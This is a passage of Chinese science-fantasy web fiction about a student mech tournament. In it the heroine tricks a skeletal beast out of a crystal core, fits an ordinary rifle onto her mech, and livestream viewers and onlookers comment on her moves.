唉，真是和他们S级精神海说不清楚。 第64章 新星杯在10月10日正式开赛, 开赛仪式还没开始，网友们已经早早蹲守在了新星杯赛事主办方的直播间。 悬浮舰停留在千湖荒地的上方，电蝇蛾对现场的开赛仪式进行着实时转播。 悬浮舰的中心总控室内, 四面墙上全是整整齐齐的小屏幕, 将空间切割成明暗交织的区块。 解说台正前方唯一的大屏幕里是千湖荒地上的学生，上万名参赛选手已经整齐的列好了队。 大屏幕占据了总控室唯一的C位, 开赛后人气最高的直播间将有更高的概率被投放到大屏幕上，由官方解说为选手的行动进行解说。 “大家好，我是东三春, 为这次大赛担任解说。” “大家好，我是解说贝山晴。” 一男一女两个解说都穿着笔挺的深色军装, 肩章上的横杠和星徽反射出屏幕的冷光，坐在总控室的解说席上朝镜头挥了挥手打了个招呼。 东三春和贝山晴都没有太多的开场白，自我介绍完之后, 东三春便直入主题地宣布了新星杯的比赛规则。 “本次比赛分为三个赛程, 每五天为一个赛程，共计十五天, 最终积分前一百的小组将获得联邦军校联赛参赛资格。” “每击杀一只F级虫族获得1积分，E级虫族2积分, D级5积分, C级10积分, B级50积分, A级200积分, S级1000积分。” 贝山晴：“除此之外，赛事持续期间完成个人任务将为小队加100积分，小队三个成员都完成个人任务将额外获得200积分，共计500的任务积分等你们斩获。” “第一赛程中, 补给站将持续开放，补给站为休战区域，可用积分兑换普通武器、营养液、医疗物资、净化资格。 第二赛程中，补给站关闭，空投物资开启，里面有更好的武器和物资，更多的营养液和净化资格，抢到就是免费。 第三赛程无额外补给，为最终的积分争夺赛，只需全力击杀虫族抢夺积分，让自己队伍的排名上升。” 等她说完，东三春接着道：“接下来宣布三个注意事项。” “第一，比赛全程录像，如出现争议裁判组将根据录像进行裁定。 第二，光脑上的退出键随时都可以按下，安保组成员会即刻定位到你并将你带出秘境。 第三，一旦精神海污染程度超过60%，则必须按下光脑上的退出键，否则一旦发现违规，成绩清零。” 等东三春宣布完规则，斯伦的带队老师看向学生问道：“听明白了吗？” “听明白了！”斯伦的学生齐声答道。 比起斯伦的纪律良好，兰柏林的学生方阵明显看起来无组织无纪律得多。 斯伦学生的应答声一落下，薛清就听自己这边的学生方阵里，不知道哪个小王八蛋喝彩道：“好！太有气势辣！” 兰柏林其他学生顿时凑热闹不嫌事大地呱唧呱唧鼓起了掌。 薛清：“……” 这声音有些耳熟，最好别让他想起来是谁。 可能是两个学校当了多年的死对头，兰柏林真心实意的喝彩顿时被斯伦的学生视为阴阳怪气，他们看过来的眼神都凉飕飕的。 兰柏林学生：“……？” 贝山晴看着屏幕里的场景，打着圆场道：“看得出斯伦和兰柏林的选手们都很有活力。” “确实太有活力了点。”东三春应和了一句，“那么我宣布比赛正式开始，请各位选手有序入场。” 简短的开赛仪式一结束，礼炮炸响，斯伦和兰柏林的带队老师们也上了悬浮舰。 悬浮舰率先进入死灵秘境，而后缓缓升高，直到抵达厚重的云层之上。 赵宴月这次进秘境已经很有经验，和两个队友碰头后一个拽一个地进了秘境，没有再发生一进秘境就走散的乌龙。 一踏进秘境，天色便暗了下来，天空上布满了铅灰色的阴霾，往地面上洒下仿佛透过浑浊玻璃过滤后的昏暗天光。 前方是一片骸骨的荒原还有嶙峋的山丘和峡谷，脚下也并非泥土，而是不知道沉淀多久了灰白色骨渣。 晶簇一样的植物从骸骨堆里生长出来，散发出点点梦幻的蓝光点亮了这片空间。 身后是一片由形态扭曲的幽灵木组成的森林，这些树木看着像是枯死了又像是生长状态良好。 虬结如干爪的黑色枝干上覆盖着一层厚重的暗紫色菌毯，散发着莹莹的磷光。 赵宴月稍微动一动，脚下便发出“咯吱咯吱”的轻微脆响。 江茂茂环顾了一圈，从光脑里调出了死灵秘境的地图对照了起来。 “这好像是骸骨荒原和幽灵森林的交界处……对了，进秘境之前你们吃饱饭了吗？” 虽然话题有点跳跃，但赵宴月和许白亦都不怎么惊讶地点了点头。 第一赛程维持五天，但死灵秘境里没有人能吃的东西，只能尽快击杀虫族获得积分，然后去补给站换营养液。 进秘境的时候身上藏一包压缩饼干都会被搜出来，每个人身上都除了衣服外什么都没有，干净得乞丐看了都摇头。 赵宴月道：“事已至此，先抽任务吧，拿到任务积分后尽快去补给站抢装备。” 蹲守在这个小队直播间的网友们相比起其他直播间不多也不少，一听到“抽任务”的关键词纷纷发言。 “好耶！又到了激动人心的考验手气的环节，来看看谁是真正的大非酋！” “垃圾女王的安排挺到位，现在他们的机甲没有加装武器，做任务拿积分是比直接杀虫族性价比更高的方式。” “补给站的武器就那么多，先到先选，冲啊许白亦！先拿下长刀！” “我老公的表情看着有点奇怪，他抽到什么任务了？” “我老婆的表情也看着有点奇怪，她抽到什么任务了？” “目前为止，只有小胖的表情最正常。” “什么小胖，人家叫江茂茂。” “新星杯比赛细则里说过，个人任务格式统一，就是‘击杀xx只xxxx’，至于‘xx’是什么就看人品了。” “看垃圾女王的表情，我猜她的人品应该不太好，赌五个币。” “赌十个币，她的人品肯定差劲极了！当初她和我在星博上对骂了一周，我恨她。” “你恨她你来看她直播间干什么？我看你多少有点奇怪属性在身上。” “我就不能是来看许白亦江茂茂的吗，只不过他们现在在一个镜头里，直播间统一了而已。” “鉴定为强行挽尊哈，楼上别装了，谁是你真心肝我自有判断。” 赵宴月将光脑上抽出来的个人任务来来回回看了三遍才移开视线，率先打破沉默询问道：“你们抽到什么了？” 江茂茂耸了耸肩：“还好，击杀10只森灵，没规定等级……森灵是虫族的某个品种吗？” 赵宴月闻言眼睛一亮，终于来了个知识范围内的问题了。 被当做文盲忍气吞声蛰伏多年，今天她就要一雪前耻。 “森灵，群居灵兽，喜欢幽静潮湿的环境，进化态进化灵植是幽光草、幻影石根，终极态进化灵植是蓝魂芯、泪晶叶、迷迭花汁。” 赵宴月字正腔圆地解释完，然后矜持又期待地盯着江茂茂。 ——然而江茂茂的关注点完全不在这：“诶？竟然是灵兽，那击杀后灵兽蛋归我吗？” 许白亦的目光从赵宴月垮起的小猫批脸上划过，笑了一声道：“新星杯有灵兽孵育中心当赞助商，灵兽蛋归他们，积分归你。” “那我岂不是在打黑工？” 许白亦：“对喽。” 他说完看向赵宴月问道：“你抽到什么任务了？” 赵宴月冷漠地叠巴好自己大大的失望，打起精神反问：“你先说你抽到什么任务了？” “击杀10只E级虫族。” 赵宴月：“……就这？” “就这。” 江茂茂嗅到了不对劲的味道，凑到赵宴月的边上狐疑地看向她。 “赵非酋你老实说，你的个人任务……不会是你一个人完不成的那种吧？” 赵宴月也很难说自己能不能完成，她将光脑屏幕分享给两个队友：“怎么说？” 江茂茂盯着光脑，身体和灵魂都陷入了沉思，最后得出结论道：“完了。” 许白亦：“也不是没有机会。” 赵宴月抓了抓头发，头大道：“先分头行动吧，尽快完成个人任务后去补给站集合。” 而此时，他们的头顶之上—— 悬浮舰像是一艘巨大的豪华游轮隐藏在云层之中，装修漂亮又柔软的影音室被穿着制服的守卫把守着。 他们如同雕塑般矗立在门外，平静而锐利的目光来回扫视着通道。 影音室内，几位净化师坐成了一圈，占据了整面墙的、巨大的超高清全景全息屏幕正投射出死灵秘境里地面上的画面，画面清晰到能看见骨渣上飘散的细微尘埃。 面容漂亮又精致的少年陷进填满了天鹅绒的观影沙发里，按住遥控器掀起眼皮冷冷道：“不准换，我就要看她。” “你说不准换就不准换？”许清雪一手拽遥控器，一手扯过一个丝绸抱枕往男生的头上砸，“我偏要换。” 抱枕劈头盖脸地砸到头上，贺如故哪受过这气：“你要看别人不能自己去光脑上看？” “凭什么我去光脑上看？你不能去光脑上看吗？”许清雪指着室内巨大又高清的全息屏幕，声音清脆中带着一丝命令的味道：“我就要在这上面看。” “我管你要这要那的。” 贺如故一个用力将她手里拽着的遥控器抢了回来，傲慢又很不绅士道：“拿来吧你。” 茶桌边的三位老人见状对视一眼，单明序叹了口气，语气有些无奈：“真搞不懂他们，不能一人去一个影音室吗？” 尹韫玉用叉子叉了一块星光果送进嘴里，满头银发的老人优雅地翻了个白眼。 “这个影音室最大，你学生愿意让出来才怪，明明是贺如故先来的好不好。” “那我学生还是A级净化师呢，让让她怎么了。” “那贺如故爷爷还是联邦首富呢，不知道给联邦纳了多少税，这么大的贡献让让他怎么了。” 段院长眼不见心不烦地将一杯星光果奶昔推到另一名眼神透着点怯弱的女生面前：“别管他们，你吃你的，现在比赛刚开始，选手就是拿到净化资格也不会这么早就用，安心玩就是了。” “看殿下们看直播”也是新星杯的传统环节了，比起选手的直播间，五位殿下的直播间永远是热度最高的。 弹幕飞速刷过，网友们溺爱的发言淹没了直播间，语气不带一丝攻击力。 “贺如故殿下是真的爱垃圾女王啊，不仅星博上支持她，还只看她一个人的直播间。” “Big胆！什么爱不爱的！一身营养液味的垃圾女王怎么配得上我们一身星光果奶昔味的贺如故殿下！” “这也能套公式？” “女神呜呜呜呜，咱们别和贺如故殿下玩了，他这性格根本就不会让着你，看得我心都碎了。” “我可怜的柳依依殿下，你现在是净化师啦！没有人能再欺负你！” “尹老和单老都退休好几年了，能再见到你们真是太好了！不过你们两个怎么还是这么不对付……” “奇怪，我总觉得段院长时不时就一脸紧张地盯着屏幕，是我的错觉吗？” “虽然全息屏幕里的死灵秘境确实很吓人，但是殿下们可是在悬浮舰上，段院长不用担心会有虫族突然贴脸啦。” “话说垃圾女王到底抽到什么个人任务了啊，怎么一个人往幽灵树林里走了。” “不一个人走还两个人组团走吗，个人任务当然是分头完成效率最高，补给站的武器可不等人。” 第65章 幽灵森林里的树木一颗比一颗长得扭曲, 四周寂静无声，配合着四面八方扭曲成爪状的枝干，像是来到了恐怖片现场。 枝干上覆盖的暗紫色菌毯将昏暗的光线染成幽紫色, 连同巨狼身上银白色的毛发也被泛出了紫色。 “咔嚓咔嚓。” 粗壮的爪子踩在被岁月压实的骨头地面上, 发出细碎的声响。 赵宴月眯了眯眼看向不远处悬崖上的巨大巢穴，翻身从小五背上跳了下来, 顺手净化了一颗D级晶源喂给小五。 ——她在路上杀了几只低等级虫族赚积分，顺便掏了晶源给小五囤点小零食。 这里是幽灵森林西部边缘的林地，她应该已经踏进了骸骨秃鹫的巢域。 空气里似乎弥漫着比别处更浓重的骨粉尘埃, 比森林内部干燥许多。 一声穿金裂石的尖啸声从空中炸响，赵宴月抬头看去, 一只翼展超过十米的骷髅灵兽在空中盘旋。 它全身的骨架被闪烁着金属冷光的骨膜连接，每一次振翅都能卷起相当强劲的气流，吹得幽灵树上菌毯的磷光都在闪烁。 骸骨秃鹫正在狩猎——或者说正在和对手缠斗, 似乎并没有注意到她。 比起骸骨秃鹫展翅后长达十米的身长, 它对手的身形显得格外渺小，但是速度快到赵宴月根本无法通过肉眼看清是什么东西。 赵宴月让小五进了精神海, 自己则悄悄摸摸蹲在了一块巨大的布满孔洞的白骨后方，打算摸摸骸骨秃鹫的老底。 精神力悄悄探过去, 立马传来反馈。 好消息, 找到任务目标了, A级骸骨秃鹫, 等级和她任务要求的等级卡得刚刚好。 坏消息, 它对面是一只A级虫族。 天上原本快得看不清的身影动作突然慢了下来，偏头往地面上扫去了一眼。 赵宴月这才透过骨头缝隙看清这只A级虫族——大概就比普通成年男性要高一些，头上顶着两根纤细的触角。 金属和人类的结合体，看着像是赛博朋克世界里装了金属义肢的高科技人类。 赵宴月想到好歹有三米多高的B级虫族, 觉得虫族的进化也挺神奇的。 F级到C级虫族是越长越庞大，B级往上是越长越浓缩。 但是现在不是想这些的时候，她往巨大头骨里缩了缩，放轻呼吸盯着天上的情况，没敢再用精神力。 “唳——！” 骸骨秃鹫如同白色的闪电朝着自己下方的猎物俯冲而下，速度快得惊人。 A级虫族一个轻盈至极的变向轻松避开，它的手部忽然化作一柄巨长的利刃，借着身体翻转的力道顺势劈去，刀尖擦着骸骨秃鹫的翼尖掠过。 虫族身上的未知金属比赵宴月认知里最锋利的刀剑还要锋利，火光带闪电地直接划破了骸骨秃鹫的金属骨膜。 那可是A级灵兽，离子炮都轰不开的防御竟然就这么被一把看似平平无奇的刀划破了。 然而下一秒，骸骨灵兽带着恐怖弧度的利爪便以迅雷不及掩耳之势精准抓住了虫族肩胛骨的位置，发出一阵经过巨大冲击的碰撞声。 白骨利爪上浮现出一阵黑紫色的光芒，原本被碰撞后还毫发无伤的金属便被利爪洞穿。 就像是垃圾站的灵兽残骸只能用灵兽的火销毁，其他任何高温火焰都无法对其产生作用一样，有了技能附着后利爪才堪堪攻破虫族的防御。 骸骨秃鹫的巨大爪子如同热刀切入黄油般给虫族造成了贯穿伤，虫族用刀将骸骨秃鹫劈开，像是没有痛觉般将肩膀硬生生扯了出来。 它胸口处的晶源一亮，伤口便肉眼可见地修复完成。 骸骨秃鹫骨翅一振重新发动攻势，虫族却似乎不愿再和它过多纠缠，突然转过身直直朝着赵宴月所在的位置俯冲而来。 “我的天，属狗的吧。” 只是稍微用精神力探了探，竟然就被虫族精准定位了。 赵宴月刚想开机甲跑，结果天上的骸骨秃鹫重新拖住了A级虫族，双方又重新打了起来。 她见状又重新蹲了回去，实在不想放过这个完成任务的好机会。 风浪越大鱼越贵，击杀A级虫族可是200积分，击杀骸骨秃鹫完成任务也是100积分，开赛直接赢在起跑线。 ——当然前提是A级虫族和骸骨秃鹫都两败俱伤，她才有当黄雀的可能。 赵宴月清楚地知道以自己现在的水平，只能赌运气尝试偷点积分，正面对上两只A级真是嫌命长。 转眼间天上已经打到了白热化的阶段，骸骨秃鹫明显落于下风，但双方都看着仍有余力，无法贸然加入战斗。 她正想再等等，结果骸骨秃鹫像是绝地反击般，惊险避过A级虫族袭来的预示着死亡的一刀，而后顺势爆发出巨力抓住了A级虫族。 巨大的骨翼猛地一扇，骸骨秃鹫在空中一个灵巧的翻身，凭借着俯冲的惊人力量将虫族狠狠砸向下方。 “噗嗤！” 虫族身上被骸骨秃鹫不知道是什么技能的紫黑色光芒包裹着，直直砸向一根斜插在地面的、尖锐如矛的巨大肋骨。 A级灵兽爆发的力量让虫族无法在空中进行调整，下一瞬它的身躯直接被巨骨贯穿，胸口晶源的颜色也暗下下去。 一切发生得太快好像龙卷风。 A级虫族的积分眨眼间失之交臂，不过赵宴月也没太惋惜。 骸骨秃鹫刚经过一场大战，身上的骨头都已经破破烂烂，至少击杀骸骨秃鹫的100分可以被稳稳收入囊中。 按照欧非守恒定律，这就叫天无绝人之路！ 赵宴月刚想召唤机甲，空中的骸骨秃鹫身上突然闪过一阵升阶的白光。 白光温和地划过骸骨秃鹫身上的每一根骨架，堪称惨重的战损被瞬间修复，连白骨似乎都更加润了一分。 赵宴月：“……” 赵宴月：“……？” 什么狗屁欧非守恒定律，她今天真是非到极致了。 “唉！”贺如故的心情随着全息屏幕里的画面大起又大落的。 拍大腿还不够，他学着自己爷爷的样子用手背拍了拍掌心，朝着茶桌边的三位长辈道：“你看看你看看，哪有这个时候升阶的！这骸骨秃鹫太没眼力见了！” 段院长看见A级虫族被击杀，悬着心才落回原地，她长长地呼出一口气道：“这下好了，这个人任务也不用做了，她打不过。” 看到A级虫族朝赵宴月冲过去的时候，这辈子都理智得惊人的段院长差点召唤机甲当场冲过去把虫族砍了。 特别是看见赵宴月明明知道自己已经被虫族发现还不跑的时候，她感觉自己心率都飙到了180。 看了这么多届新星杯和联邦军校联赛，段院长从来没感觉到哪一届比赛有这么刺激过，刺激到她都想下单几瓶速效救心丸。 贺如故狐疑地看了段院长好几眼，狐疑道：“段院长，您老不会对我家月月有什么意见吧？她完不成个人任务您怎么还松了一口气。” “……你想多了，我能有什么意见。” “她的个人任务肯定是击杀骸骨秃鹫没错，但是还有机会。”尹韫玉十分客观地分析道，“这只骸骨秃鹫能勉强击杀A级虫族，它的等级不可能低于A级，要是你家月月的任务没有等级要求的话，完全可以另外找一只骸骨秃鹫做任务。” 单明序点头附和：“最好没要求是A级骸骨秃鹫，不然你家月月的队伍开局比其他人少300积分，本来队伍看着就不是顶尖的队伍，这下更是直接砍到大动脉了。” 那万一就是A级骸骨秃鹫怎么办。 贺如故有些不死心地看向段院长：“您也是S级机甲尖兵，这个情况如果就要击杀A级骸骨秃鹫的话，一点机会都没有吗？” “她的信息显示她的契约灵兽是15阶，A级的骸骨秃鹫在16-18阶，这只经过升阶后起码17阶起步，至少现在肯定没机会。” “不是说同等阶下，灵兽机甲态会比终极态更厉害一些吗……” “那也不可能赤手空拳越两阶挑战成功，终极态每升一阶灵兽身体和技能的强度都会有大提升，更别说现在有至少两阶的差距。” 贺如故重新看向屏幕，赵宴月还在巨大的头骨后面蹲着，好像并没有放弃的意思。 第一赛程的任务积分是最重要的，必须尽快拿下然后去补给站抢装备。 到了第二赛程就算完成了任务，这300积分的作用也没有那么大了。 一步慢步步慢。 可是段院长都说了现在打不过，作为一个履历辉煌到能当上圣芙尔净化学院院长的S级机甲尖兵，她的判断大概率不会出错。 贺如故忧伤地叹了口气，然后得到了许清雪一个白眼：“别出声影响我看比赛行不行。” 不得不说，他家月月的直播间还挺刺激的，一来就是重量级的高级灵兽和高级虫族，看看也不是不行。 画面里的骸骨秃鹫如同一位巡视自己疆域的君王般在空中盘旋了一圈，而后收回翅膀优雅地降落到地上。 灵兽对精神力并不敏感，骸骨秃鹫并没有发现现场还有第三个人的存在。 它泛着紫黑色光芒的利爪袭向虫族的胸口，精准地抓出了那颗像是宝石一样的A级晶源，晶源散发的光芒映照着它空洞的眼窝。 赵宴月的目光也锁定在它爪里那颗诱人的A级晶源上，想当强盗的想法快要遏制不住。 她能感受到骸骨秃鹫已经从16阶升到了17阶，如今更是全盛状态，她机甲上什么武器都没装备，现在硬钢肯定打不过。 赵宴月的手摸到鼓鼓囊囊的口袋，脑子一转，突然想到一个馊主意。 积分拿不到，抢颗A级晶源当精神损失费得了，总不能白来一趟。 一颗颗圆滚滚的晶源滚落到脚边，骸骨秃鹫低下头，不知道用什么部位做了个“嗅”的动作，然后眼眶里突然冒出一团兴奋的蓝火。 它将A级晶源放到一边，锐利的喙啄下一颗晶源，然后沿着地上一颗又一颗的晶源啄了过去。 啄到最后一颗时，前面突然出现一具骨架挡住了它的路。 骸骨秃鹫抬起头，眼眶里的蓝火和骨头缝里的一双狐狸眼对视了片刻。 赵宴月从骨洞里伸出一只手，掌心躺着一颗圆滚滚的，散发着十十十十分纯净气息的晶源。 契约者并不在灵兽的食谱上，看在晶源的份上，骸骨秃鹫没有和这个闯入自己领地的人类计较。 唉，有些打不过灵兽的契约者为了契约灵兽，鬼点子总是很多，连用晶源引诱的把戏都来了。 ——看在晶源的份上，要是她以后都喂它吃好吃晶源，想打败自己进行契约也不是不行。 到时候它就欲拒还迎地反抗一下好了。 骸骨秃鹫正想叼走晶源再和她动手，结果眼前的人像是扔飞盘一样，将手里的晶源抛向了远处。 骸骨秃鹫头骨里并不存在的大脑来不及反应，骨翅就已经一展，身体下意识如同离弦之箭一般跟着空中的晶源跑了。 空中晶源划出的抛物线被精准截中，干净又纯粹的美味能量涌入身体。 骸骨秃鹫骄傲回过头一看，只见少女如同潜伏已久的猎豹冲了出来。 脚下坚硬的骨地发出极其应接不暇的轻微碎裂声，而她目标明确地捞起地上的A级晶源。 拿到晶源的一刹那，银白色的机甲化作流光将她的身影包裹，而后飞速往远处驶去。 这一切都发生得太快好像龙卷风。 身后传来骸骨秃鹫暴怒到极点的尖啸。 它显然已经意识到自己的大餐被一点美味小零食骗走了，狂怒的气流席卷幽灵森林，无数细小的骨渣被卷上天空。 赵宴月将速度提升到极限，头都不敢回。 与此同时，她的直播间也炸了。 “从来没见过这么缺德的人……” “垃圾女王，粉你着实让我有点抬不起头……” “骸骨秃鹫为什么那么喜欢垃圾女王手里的晶源，有人能解答一下吗？” “可能天上掉的馅饼就是比自己辛苦赚到的香吧。” “骸骨秃鹫也是机甲战宠吧，技能腐蚀光线的强度也不错，十几米的终极态真的有点帅，机甲态好像也挺帅的。” “是的，机甲战宠的进化态和终极态一模一样，只要进化一次就能直接看到终极态的模样了，但是机甲态只有和契约者进行契约之后才能解锁。” “我猜垃圾女王的个人任务是击杀一只骸骨秃鹫，就是不知道有没有等级要求。” “那很坏了，我感觉骸骨秃鹫之前好像看上垃圾女王了，这下把它的晶源抢走之后再想击杀它就难了。” “垃圾女王是契约了灵兽的，骸骨秃鹫怎么可能看上她，那也太不要脸了。” “我也没觉得骸骨秃鹫看上垃圾女王了。” “我天生第六感比较强，真的，我真觉得骸骨秃鹫看上她了，你们信我。” “没必要因为这种未知的猜测后悔，理智上来讲，能抢到一颗A级晶源总比无功而返好。” 网友们你一言我一语地争论了起来，而此时骸骨秃鹫的领地里—— 骸骨秃鹫用骨头和菌毯搭建的巨大巢穴中，一个只有巴掌大小的白色小骷髅探出头围观了全程。 它一手弯腰捂着肚子，一手指着无能狂怒的骸骨秃鹫“卡卡卡”地狂笑出声。 汤姆猫式的浮夸笑法让它“卡卡卡”的笑声嘲讽度拉满，就连眼眶里两簇明亮的幽蓝色鬼火都晃动成了波浪。 骸骨秃鹫飞回巢穴，一爪子将它扇了回去，“卡卡卡”的笑声戛然而止，小小的骨头架子散了一地。 巢穴里菌毯的生机刹那间流逝，紫色的菌毯变得枯黄，小骷髅的骨头也被重新拼好。 它忍气吞声地缩了回去，看向银白机甲离开的方向，眼眶里的蓝色鬼火啪嗒一下灭了。 第66章 补给站被一圈流动着蓝光的能量罩笼罩着, 在死灵秘境昏暗的环境里亮得发光。 灰白的骨尘被无形的防护罩隔绝，形成一道朦胧的分界线，给人一种避风港一样的安心感。 几名身着深灰色作战服的安保组成员分散在补给站的各个关键节点, 他们并未全副武装, 仅仅是站在那里就散发出令人心悸的压迫感。 “我的天……”江茂茂缩了缩脖子，压低声音对身边的许白亦道：“这一届新星杯安保组吃错药了？全都是星网上赫赫有名的S级大佬。” 这些大佬都是在战场上厮杀过无数次的人, 和一直待在温室里的S级学生完全不是一个量级。 历届新星杯安保组里不是没有S级机甲尖兵，但是他们顶多负责去捞按下退出键的学生，从来没见过来守补给站的。 许白亦摇了摇头, 表示自己也不清楚：“先进去吧。” 还没踏进补给站，里面就传来一阵笑谈声, 补给站内部的选手不多也不少，兑换光屏前的一个小队刚刚完成了兑换。 小队里为首的男生身形挺拔，气质温和得不像是机甲尖兵。 倒是他身边站着一男一女两名队员气势凛然, 眼神锐利, 很符合大众对机甲尖兵的刻板印象。 江茂茂一看清对方的脸就是一愣，属实没想到开局就碰上本届新星杯赔率最低的明星队伍了。 S级指挥司焕和他的两个S级机甲尖兵队友, 十分标准的力大砖飞组合，进入前一百完全没有悬念的队伍。 司焕此时正像是幼教老师发零食般将热饮和奶酪棒发给他的队员：“该省省该花花, 只喝营养液活着都没意思。” 补给站是规则里定好的安全区, 虽然大家都是竞争对手, 但是在补给站里不用担心有人会突然发难, 气氛还挺和谐。 江茂茂这边刚从对方身上收回目光, 兑换光屏上的消费记录就闯进了他眼里。 高频粒子刃x1——200积分 防护盾x1——200积分 能量枪x1——200积分 高效营养液x10——50积分 高级医疗包x1——20积分 草莓曲奇x1——5积分 巧克力熔岩热饮x1——5积分 原味奶酪棒x5——5积分 消费积分总额：685积分。 看着685积分的消费数额，江茂茂沉默了又沉默，最后还是扭过头看向许白亦，没忍住化身柠檬精。 “他们简直肥得流油……消费了685积分, 兜里不知道还剩多少呢。” 光脑上显示自己小队的积分余额是316积分，其中200积分是完成个人任务的积分，还有116积分是三个人完成任务的路上击杀虫族的积分。 许白亦看了一眼，然后点点头表示赞同：“确实。” 江茂茂又道：“一想到他们队都是S级精神海，三个人都不用换价值500积分的净化资格，我真是后槽牙都咬碎了。” 许白亦以己度人：“……我猜要是换了有用的话，他们也挺想换的。” 江茂茂盯着三百出头的积分算了算：“要是赵非酋能完成个人任务，我们队就有616积分，刚好够换三把武器和一点生存物资。” “你叫我什么？” 恶魔低语从身后响起，江茂茂一顿，眨了眨眼转过头：“哈哈，夸你运气好。” 人果然不能背后蛐蛐别人。 一见到赵宴月回来了，江茂茂便知道她的个人任务没完成，顿时体贴安慰道：“让你击杀A级灵兽还是太考验操作了，这任务不做也罢。” 赵宴月根本不需要安慰，语气十分理所当然：“确实太考验操作了，所以你们的积分先给我换把武器。” “……可是我们现在只能换一把武器。”江茂茂指了指许白亦道：“不先给他换吗？” 虽然赵宴月这么做一定有她的深意，但江茂茂还是没思考出这件事的合理性。 “补给站里的都是普通武器，拿它打A级的骸骨秃鹫没什么效果……不如给许哥先换把刀，让他尽快赚够剩下需要的积分。” 江茂茂理智分析一番，然后期待地看向赵宴月。 赵宴月：“驳回建议哈。” 许白亦很干脆地说道：“换吧。” “……？”江茂茂看了眼许白亦，感觉自己有点不懂这个发展。 直播间里的网友比江茂茂还懵，许白亦话音一落，弹幕数量便刹那间骤升。 “老公你疯了吧！干嘛先让她换！这是你的积分！你听我的你先换了武器赶紧去赚积分！看得我着急！” “许白亦你糊涂啊，她灵兽等阶才15阶，先给她换武器干什么，我看你是被猪油蒙了心。” “我今天就在这守着，我看谁敢骂我老婆！我老婆这么做一定有她的道理！” “垃圾女王的个人任务真是击杀A级骸骨秃鹫……但是普通武器只对击杀低等虫族的加成大，对上A级灵兽能造成零点伤害。” “第二赛程空投物资里的武器可以给机甲做加装，那个时候可以去尝试完成这个任务。” “到第二赛程黄花菜都凉了，个人任务只在初期完成的性价比最高。” “垃圾女王这么做一定有她的深意……” “还深意，楼上没事去医院挂个号，就挂重大精神疾病科，她选手信息上清清楚楚地写着兰柏林大一机甲工程系、S级精神海、契约灵兽15阶，这能有什么深意，一看就是觉得自己也是S级精神海，所以非要先选武器。” “诶？原来垃圾女王是读的机甲工程系吗？” 一条条弹幕几乎要将直播间淹没，一旁的司焕听到许白亦直接同意了，吃草莓曲奇的动作也是一顿。 他看了许白亦一眼，叫住了争分夺秒打算出去赚积分的队友：“别急，先在补给站休整一会儿。” 两名队友不明所以，但是指挥发话肯定有他的道理，于是又返回来老老实实地休息。 虽然和许白亦不熟，但是他的大名司焕早有耳闻。 他这么干脆地同意将队伍唯一的进攻资源倾斜给一个实力比他弱的队员，这背后指定有点说法。 ——比如许白亦认为他的队友可以在拿到武器后击杀A级灵兽，那么就很合理了。 司焕的目光扫过身后一直跟着一具黑白配色机甲的江茂茂，最后停留在了赵宴月的身上。 赵宴月此时已经十分阔绰地花费200积分巨资完成了兑换，一把线条冷硬通体哑光黑色的狙击枪从兑换口滑出。 紧接着，她就从兜里摸出一根可收缩引导棒。 周围的选手见她拿出了引导棒，纷纷投来或不解、或鄙夷、或探究的目光。 所以她这是要干嘛。 要想给机甲进行加装的前提是武器本身就是能进行加装的武器，就算他们是机甲尖兵，也都知道这些普通武器没法加装到机甲上。 赵宴月在108酒馆的地下给不少诡异的武器都架构过引力丝，一杆标准的狙击枪对她来说，架构起来算是最简单不过的了。 引导棒尖端释放的精神力如同拥有生命的灵蛇，在主人精确的操控下，飞快地沉入枪身金属进行缠绕编织和架构。 一道道丝线如同最精密的神经和血管，包裹住枪械内部的每一个核心构件，形成了复杂的能量回路。 周围人只能看到她握着引导棒在狙击枪上勾勒，脑子里再次浮现出疑惑。 ——她到底在干嘛。 疑惑下一秒就被解答，因为赵宴月召唤出了机甲，然后轻车熟路地将狙击枪加装到了机甲上。 原本还有时不时有几句议论声的补给站都安静了。 真……装上去了…… 什么情况。 赵宴月将引导棒收好重新塞进兜里，抬起头重回BKing的老本行：“看什么看，没见过什么叫真正的技术吗？” 江茂茂眼睛瞪得像铜铃，他一直以来都知道赵宴月是机甲工程系的，但他完全没想过她在队伍里的定位是机甲工程师。 谁家好人课还没上几节就会机甲加装啊！而且将普通武器加装到机甲上到底是怎么做到的啊！ 在赵宴月拿着引导棒勾勾画画的时候，直播间里就铺满了问号，等看到狙击枪真装到机甲上之后，弹幕终于火山喷发了。 “？” “？？” “？？？” “不对吧，这不对吧，这是什么操作啊？机甲工程还教这个？” “我记得生物机甲工程专业一派是研究进化论的学术派，一派是研究引力丝架构的实操派，垃圾女王应该是搞实操的。” “反正以上两种都很费星币就是了，要想成功首先得投入数不清的星币，结果还不一定能成功。” “实操不是学的机甲架构吗，这种把普通武器架构成可以对机甲进行武器加装的“专属武器”的操作是什么？” “这不相当于她手动将补给站提供给第一赛程的武器资源升级成了第二赛程空投物资里才会出现的高级加装武器？” “哇，楼上能一口气把你打的这句话念完吗？” “本生物机甲工程专业学生现身说法，给武器架构引力丝是一种很冷门的东西，专业名称叫‘机甲加装’，这个活比机甲架构要简单但是赚不了什么钱，会架构引力丝的工程师都会走机甲架构的路线，没几个人会专门去学武器架构。” “我举报！这也太破坏比赛平衡了吧！这不削其他队伍能玩？” “第一赛程本来就是以击杀低等级虫族为主，第二赛程抢空投提升队伍实力，第三赛程击杀高等虫族冲分，剧本应该是这么安排的才对。” “其他队伍也可以手动提升武器档次嘛，又没人拦着你们不让你们找机甲工程师组队，哪里不公平了，那我还说3个S级的队伍比3个B级的队伍不公平呢。” “这说的是人话吗，一般机甲工程师只是在第二赛程发挥作用，将空投武器里的武器加装到机甲上而已，哪有在补给站抢空投的啊！这也太流氓了吧！” “其实每一届新星杯都会出现好几个这样的冷门工程师，每一次网友都是这个反应，每次看都笑死。” “好了孩子们别闹了，就算机甲装了武器也不能脱胎换骨，归根究底还是看自身硬实力，不然你等第三赛程再看，那才是真正的净化资格和积分争夺战。” 任由直播间里闹翻天，司焕此时已经拦住了正往外走的赵宴月一行人，他笑眯眯道：“你好，机甲加装服务可以用积分购买吗？” 江茂茂警惕地看了他一眼：“积分没办法转让。” “确实没法转让，而且我们队伍也没剩下多少积分。”司焕说到这话锋一转，意有所指道：“但是击杀判定归属最后一击不是吗？” 他看向赵宴月，指了指兑换光屏：“200积分一次加装怎么样？你们收下这600积分，刚好够给这位同学囤一个净化资格。” 司焕已经看到江茂茂的信息显示他精神海等级是C级，这个等级的精神海天然就比其他人更容易受到污染。 要想不被淘汰出局，注定要用积分换更多的净化资格。 